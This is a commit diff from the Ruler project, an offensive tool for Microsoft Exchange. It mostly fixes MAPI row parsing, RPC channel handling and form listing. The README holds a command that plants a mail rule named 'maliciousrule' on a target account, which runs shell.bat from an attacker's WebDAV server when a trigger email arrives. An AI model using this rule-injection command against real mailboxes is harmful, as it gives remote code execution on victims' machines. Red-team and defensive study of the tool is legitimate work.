Skip to content

Commit 8622fd6

Browse files
authored
Merge pull request #30 from sensepost/dev
Fixes to display forms and rules
2 parents 1208cfe + 600a4bf commit 8622fd6

6 files changed

Lines changed: 61 additions & 27 deletions

File tree

README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -238,7 +238,7 @@ go run webdavserv.go -d /path/to/directory/to/serve
238238
To create the new rule user Ruler and:
239239

240240
```
241-
./ruler --email user@targetdomain.com --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "pop a shell" --name maliciousrule
241+
./ruler --email user@targetdomain.com --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "popashell" --name maliciousrule
242242
```
243243

244244
The various parts:
@@ -319,6 +319,7 @@ If you use the forms attack, you need to ensure that the **templates** folder is
319319
* img0.bin
320320
* img1.bin
321321
* formstemplate.bin
322+
* formsdeletetemplate.bin
322323

323324
## Using forms
324325

forms/rulerforms.go

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -186,7 +186,7 @@ func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) {
186186
//DeleteForm is used to delete a specific form stored in an associated table
187187
func DeleteForm(suffix string, folderid []byte) ([]byte, error) {
188188

189-
columns := make([]mapi.PropertyTag, 1)
189+
columns := make([]mapi.PropertyTag, 2)
190190
columns[0] = mapi.PidTagOfflineAddressBookName
191191
columns[1] = mapi.PidTagMid
192192

@@ -196,6 +196,9 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) {
196196
}
197197
var foundMsgID []byte
198198
for k := 0; k < len(assoctable.RowData); k++ {
199+
if assoctable.RowData[k][0].Flag != 0x00 {
200+
continue
201+
}
199202
name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray)
200203
messageid := assoctable.RowData[k][1].ValueArray
201204
if name != "" && name == fmt.Sprintf("IPM.Note.%s", suffix) {
@@ -229,6 +232,10 @@ func DisplayForms(folderid []byte) error {
229232
var forms []string
230233

231234
for k := 0; k < len(assoctable.RowData); k++ {
235+
if assoctable.RowData[k][0].Flag != 0x00 {
236+
continue
237+
}
238+
//utils.Debug.Println(assoctable.RowData[k][0].ValueArray)
232239
name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray)
233240
if name != "" && len(name) > 3 {
234241
if byte(name[0]) != 0x0a {

mapi/datastructs.go

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1425,6 +1425,7 @@ func (execRequest *ExecuteRequest) Init() {
14251425
//Unmarshal func
14261426
func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []PropertyTag) (int, error) {
14271427
pos := 0
1428+
var flag byte
14281429
queryRows.RopID, pos = utils.ReadByte(pos, resp)
14291430
queryRows.InputHandle, pos = utils.ReadByte(pos, resp)
14301431
queryRows.ReturnValue, pos = utils.ReadUint32(pos, resp)
@@ -1435,12 +1436,21 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope
14351436
queryRows.RowCount, pos = utils.ReadUint16(pos, resp)
14361437

14371438
rows := make([][]PropertyRow, queryRows.RowCount)
1439+
//check if flagged properties
14381440

14391441
for k := 0; k < int(queryRows.RowCount); k++ {
14401442
trow := PropertyRow{}
1441-
trow.Flag, pos = utils.ReadByte(pos, resp)
1443+
//check if has flag (is flaggedpropertyrow)
1444+
flag, pos = utils.ReadByte(pos, resp)
14421445
for _, property := range properties {
1443-
if property.PropertyType == PtypInteger32 {
1446+
1447+
if flag == 0x01 {
1448+
trow.Flag, pos = utils.ReadByte(pos, resp)
1449+
}
1450+
if trow.Flag != 0x00 {
1451+
trow.ValueArray, pos = utils.ReadBytes(pos, 4, resp)
1452+
rows[k] = append(rows[k], trow)
1453+
} else if property.PropertyType == PtypInteger32 {
14441454
trow.ValueArray, pos = utils.ReadBytes(pos, 2, resp)
14451455
rows[k] = append(rows[k], trow)
14461456
} else if property.PropertyType == PtypInteger64 {

mapi/mapi.go

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2027,6 +2027,7 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ
20272027
var contentsTable *RopGetContentsTableResponse
20282028
var svrhndl []byte
20292029
var err error
2030+
var inputHndl uint8 = 0x03
20302031
if assoc == false {
20312032
contentsTable, svrhndl, err = GetContentsTable(folderid)
20322033
} else {
@@ -2040,19 +2041,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ
20402041
execRequest.Init()
20412042

20422043
setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID, SetColumnFlags: 0x00}
2043-
setColumns.InputHandle = 0x01
2044-
setColumns.PropertyTagCount = 2 //uint16(len(columns))
2044+
setColumns.InputHandle = inputHndl
2045+
setColumns.PropertyTagCount = uint16(len(columns))
20452046
setColumns.PropertyTags = make([]PropertyTag, setColumns.PropertyTagCount)
20462047
for k, v := range columns {
20472048
setColumns.PropertyTags[k] = v
20482049
}
20492050

20502051
fullReq := setColumns.Marshal()
20512052

2052-
queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)}
2053+
queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: inputHndl, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)}
20532054
fullReq = append(fullReq, queryRows.Marshal()...)
20542055

2055-
ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01}
2056+
ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHndl}
20562057
fullReq = append(fullReq, ropRelease.Marshal()...)
20572058

20582059
execRequest.RopBuffer.ROP.RopsList = fullReq
@@ -2068,19 +2069,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ
20682069
bufPtr := 10
20692070
var p int
20702071
var e error
2071-
utils.Info.Println(execResponse)
2072+
20722073
setColumnsResp := RopSetColumnsResponse{}
20732074
if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil {
20742075
return nil, e
20752076
}
20762077
bufPtr += p
2077-
utils.Info.Println("Display")
2078+
20782079
rows := RopQueryRowsResponse{}
20792080

20802081
if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil {
20812082
return nil, e
20822083
}
2083-
utils.Info.Println("Display")
2084+
20842085
return &rows, nil
20852086
}
20862087

@@ -2170,12 +2171,12 @@ func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error
21702171
execRequest.RopBuffer.ROP.RopsList = ruleBytes
21712172
execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID} //append(AuthSession.RulesHandle, []byte{0xFF, 0xFF, 0xFF, 0xFF}...)
21722173

2173-
execResponse, err := sendMapiRequest(execRequest)
2174+
_, err := sendMapiRequest(execRequest)
21742175

21752176
if err != nil {
21762177
return nil, &TransportError{err}
21772178
}
2178-
utils.Trace.Println(execResponse)
2179+
//utils.Trace.Println(execResponse)
21792180
return nil, err
21802181

21812182
//return nil, ErrUnknown
@@ -2325,6 +2326,7 @@ func DecodeRulesResponse(resp []byte, properties []PropertyTag) ([]Rule, []byte,
23252326
}
23262327

23272328
rows := RopQueryRowsResponse{}
2329+
23282330
tpos, err = rows.Unmarshal(resp[pos:], properties)
23292331
if err != nil {
23302332
return nil, nil, err
@@ -2350,9 +2352,15 @@ func DecodeBufferToRows(buff []byte, cols []PropertyTag) []PropertyRow {
23502352

23512353
var pos = 0
23522354
var rows []PropertyRow
2355+
var flag byte
2356+
fmt.Println(buff)
23532357
for _, property := range cols {
23542358
trow := PropertyRow{}
2355-
if property.PropertyType == PtypInteger32 {
2359+
flag, pos = utils.ReadByte(pos, buff)
2360+
if flag != 0x00 {
2361+
trow.ValueArray, pos = utils.ReadBytes(pos, 5, buff)
2362+
rows = append(rows, trow)
2363+
} else if property.PropertyType == PtypInteger32 {
23562364
trow.ValueArray, pos = utils.ReadBytes(pos, 2, buff)
23572365
rows = append(rows, trow)
23582366
} else if property.PropertyType == PtypString {

rpc-http/rpctransport.go

Lines changed: 19 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -65,8 +65,8 @@ func setupHTTP(rpctype string, URL string, ntlmAuth bool, full bool) (net.Conn,
6565
}
6666

6767
var authenticate *ntlm.AuthenticateMessage
68-
6968
if ntlmAuth == true {
69+
7070
//we should probably extract the NTLM type from the server response and use appropriate
7171
session, err := ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode)
7272
b, _ := session.GenerateNegotiateMessage()
@@ -180,11 +180,16 @@ func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err err
180180
go RPCOpenOut(URL, readySignal, errOccurred)
181181

182182
select {
183-
case <-readySignal:
184-
readySignal <- false
185-
errOccurred <- err
186-
return err
187-
case <-time.After(time.Second * 20): // call timed out
183+
case c := <-readySignal:
184+
if c == true {
185+
//utils.Warning.Println("Got ready!")
186+
readySignal <- true
187+
} else {
188+
readySignal <- false
189+
return err
190+
}
191+
case <-time.After(time.Second * 10): // call timed out
192+
//utils.Warning.Println("Got timedou!")
188193
readySignal <- true
189194
}
190195

@@ -205,7 +210,7 @@ func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err err
205210
//RPCOpenOut function opens the RPC_OUT_DATA channel
206211
//starts our listening "loop" which scans for new responses and pushes
207212
//these to our list of recieved responses
208-
func RPCOpenOut(URL string, readySignal chan bool, errOccurred chan error) (err error) {
213+
func RPCOpenOut(URL string, readySignal chan<- bool, errOccurred chan<- error) (err error) {
209214

210215
rpcOutConn, err = setupHTTP("RPC_OUT_DATA", URL, AuthSession.RPCNtlm, true)
211216
if err != nil {
@@ -228,6 +233,7 @@ func RPCOpenOut(URL string, readySignal chan bool, errOccurred chan error) (err
228233
responses = append(responses, r)
229234
}
230235
}
236+
231237
return nil
232238
}
233239

@@ -290,7 +296,6 @@ func RPCBind() error {
290296
}
291297
err = rpcntlmsession.ProcessChallengeMessage(challenge)
292298
if err != nil {
293-
294299
return fmt.Errorf("Bad Process Challenge %s", err)
295300
}
296301

@@ -343,6 +348,9 @@ func EcDoRPCExt2(MAPI []byte, auxLen uint32) ([]byte, error) {
343348
return resp.PDU[28:], err
344349
}
345350

351+
//EcDoRPCAbk makes a request for NSPI addressbook
352+
//Not fully implemented
353+
//TODO: complete this
346354
func EcDoRPCAbk(MAPI []byte, l int) ([]byte, error) {
347355
RPCWriteN(MAPI, uint32(l), 0x03)
348356
//RPCWrite(req.Marshal())
@@ -559,10 +567,10 @@ func SplitData(data []byte, atEOF bool) (advance int, token []byte, err error) {
559567
if data[0] == 0x05 { //we have an RPC packet start, rather than a fragmented packet
560568
if len(data) < 10 { //get packet length, if possible
561569
return 0, nil, nil //don't have enough packet start again
562-
} else {
563-
p, _ := utils.ReadUint16(8, data)
564-
end = int(p)
565570
}
571+
p, _ := utils.ReadUint16(8, data)
572+
end = int(p)
573+
566574
if len(data) != end {
567575
return 0, nil, nil
568576
}

utils/utils.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -214,9 +214,9 @@ func ReadByte(pos int, buff []byte) (byte, int) {
214214
func ReadUnicodeString(pos int, buff []byte) ([]byte, int) {
215215
//stupid hack as using bufio and ReadString(byte) would terminate too early
216216
//would terminate on 0x00 instead of 0x0000
217-
index := bytes.Index(buff[pos:], []byte{0x00, 0x00, 0x00}) + 1
217+
index := bytes.Index(buff[pos:], []byte{0x00, 0x00})
218218
str := buff[pos : pos+index]
219-
return []byte(str), pos + index + 1
219+
return []byte(str), pos + index + 2
220220
}
221221

222222
//ReadASCIIString returns a string as ascii

0 commit comments

Comments
 (0)